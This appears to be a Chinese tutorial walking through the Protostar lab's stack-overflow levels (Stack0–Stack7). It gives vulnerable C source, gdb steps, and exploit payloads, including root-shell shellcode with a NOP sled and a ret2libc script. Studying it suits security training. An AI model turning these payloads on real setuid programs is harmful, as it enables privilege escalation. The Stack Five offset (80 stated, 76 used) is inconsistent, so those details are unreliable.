Protostar二进制靶场栈溢出题目解析与教学文档
1. 简介
Protostar是Exploit Exercises系列中的一个入门级二进制漏洞利用靶场,特别适合学习栈溢出漏洞利用技术。本教学文档将详细解析Protostar靶场中的栈溢出题目(Stack0-Stack7),涵盖从基础概念到实际利用的全过程。
2. 环境准备
2.1 实验环境部署
- 下载Protostar的VM镜像文件
- 使用VMware或VirtualBox加载镜像
- 启动虚拟机后通过SSH连接:
ssh user@<虚拟机IP> - 输入密码后执行
/bin/bash获取更好的shell体验
2.2 题目位置
所有题目位于:
/opt/protostar/bin/
2.3 基本工具
- gdb:GNU调试器,用于动态分析程序
- objdump:查看程序汇编代码
- python:编写漏洞利用脚本
- echo:简单测试输入
3. 基础知识
3.1 栈(stack)基础
栈是一种后进先出(LIFO)的数据结构,在程序执行中用于:
- 存储函数调用的返回地址
- 传递函数参数
- 存储局部变量
- 保存寄存器状态
栈的增长方向是从高地址向低地址。
3.2 寄存器
x86架构中的重要寄存器:
- EIP:指令指针,存储下一条要执行的指令地址
- ESP:栈指针,指向栈顶
- EBP:基址指针,指向当前栈帧的基址
- EAX、EBX、ECX、EDX:通用寄存器
3.3 缓冲区溢出原理
当向固定大小的缓冲区写入超过其容量的数据时,多余的数据会覆盖相邻内存区域,可能改变程序执行流程。
3.4 setuid程序
setuid程序运行时具有文件所有者(通常是root)的权限,即使由普通用户执行。这使得利用这类程序的漏洞可以提升权限。
4. 题目解析
4.1 Stack Zero
目标:通过缓冲区溢出修改modified变量的值
源代码分析:
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
漏洞点:
- 使用不安全的
gets()函数,不检查输入长度 buffer数组只有64字节,但输入可以更长
利用方法:
- 计算需要多少输入才能覆盖
modified变量 - 通过gdb分析内存布局:
gdb ./stack0 disas main - 发现需要68字节填充(64字节buffer + 4字节modified)
- 构造payload:
python -c "print 'A'*68" | ./stack0
4.2 Stack One
目标:将modified变量设置为特定值0x61626364("abcd")
源代码分析:
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
关键点:
- 使用命令行参数作为输入
- 需要精确控制
modified的值 - x86是小端序,输入应为"dcba"
利用方法:
- 计算偏移量:64字节buffer + 4字节modified
- 构造payload:
./stack1 $(python -c "print 'A'*64 + '\x64\x63\x62\x61'")
4.3 Stack Two
目标:通过环境变量设置modified变量为0x0d0a0d0a
源代码分析:
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
利用方法:
- 设置环境变量:
export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'") - 运行程序:
./stack2
4.4 Stack Three
目标:通过覆盖函数指针执行win()函数
源代码分析:
void win() {
printf("code flow successfully changed\n");
}
int main(int argc, char **argv) {
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
关键点:
- 需要找到
win()函数的地址 - 覆盖函数指针
fp
利用步骤:
- 获取
win()函数地址:
或使用gdb:objdump -d stack3 | grep wingdb ./stack3 print win - 构造payload(64字节buffer + 4字节fp):
python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
4.5 Stack Four
目标:通过覆盖返回地址执行win()函数
源代码分析:
void win() {
printf("code flow successfully changed\n");
}
int main(int argc, char **argv) {
char buffer[64];
gets(buffer);
}
关键点:
- 没有明显的函数指针可以覆盖
- 需要覆盖main函数的返回地址
- 需要计算精确的偏移量
利用步骤:
- 确定偏移量:
- 使用gdb分析,发现需要76字节覆盖返回地址
- 获取
win()函数地址:objdump -d stack4 | grep win - 构造payload:
python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | ./stack4
4.6 Stack Five
目标:执行任意shellcode获取root shell
源代码分析:
int main(int argc, char **argv) {
char buffer[64];
gets(buffer);
}
利用技术:
- 经典的栈溢出执行shellcode
- 需要覆盖返回地址指向shellcode
- 需要考虑地址随机化(ASLR)问题(Protostar默认关闭)
利用步骤:
- 确定偏移量:80字节
- 确定shellcode在栈中的地址
- 构造payload:
- NOP sled + shellcode + 填充 + 返回地址
示例payload:
import struct
padding = "A"*76
eip = struct.pack("I", 0xbffff7c0) # 指向NOP sled的地址
nopsled = "\x90"*100
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
print padding + eip + nopsled + shellcode
执行方法:
(python stack5-exp.py; cat) | ./stack5
4.7 Stack Six & Seven
目标:绕过限制执行ret2libc攻击
源代码分析(Stack Six):
void what_now() {
printf("Congratulations, you've completed this level\n");
}
void getpath() {
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv) {
getpath();
}
限制:
- 检测返回地址是否在栈空间(0xbf000000)
- 阻止直接跳转到栈上的shellcode
ret2libc技术:
- 跳转到libc中的
system()函数 - 传递"/bin/sh"字符串作为参数
利用步骤:
- 获取
system()和"/bin/sh"地址:gdb ./stack6 (gdb) p system (gdb) find &system,+9999999,"/bin/sh" - 构造payload:
- 覆盖返回地址为
system() - 后面跟着退出地址(可以是任意值)
- 然后是"/bin/sh"地址
- 覆盖返回地址为
示例payload:
import struct
padding = "A"*80
system = struct.pack("I", 0xb7ecffb0)
exit = struct.pack("I", 0xb7ec60c0)
binsh = struct.pack("I", 0xb7fb63bf)
print padding + system + exit + binsh
Stack Seven与Stack Six类似,只是增加了更多限制,可以使用相同技术,但需要添加ROP gadget(如ret指令)来绕过限制。
5. 防御技术简介
虽然Protostar靶场关闭了现代防护机制,但了解这些防御技术很重要:
- 栈保护(Stack Canary):在栈中插入随机值,函数返回前验证
- 地址随机化(ASLR):随机化内存布局,使地址难以预测
- NX/DEP:数据区域不可执行,阻止shellcode执行
- RELRO:保护GOT表不被覆盖
6. 总结
Protostar靶场提供了一个绝佳的栈溢出学习环境,通过这8个题目,我们学习了:
- 基本的缓冲区溢出原理
- 覆盖局部变量
- 覆盖函数指针
- 覆盖返回地址
- 执行shellcode
- ret2libc技术
- 绕过各种保护机制
掌握这些基础知识是二进制漏洞利用的第一步,为进一步学习更复杂的漏洞利用技术打下坚实基础。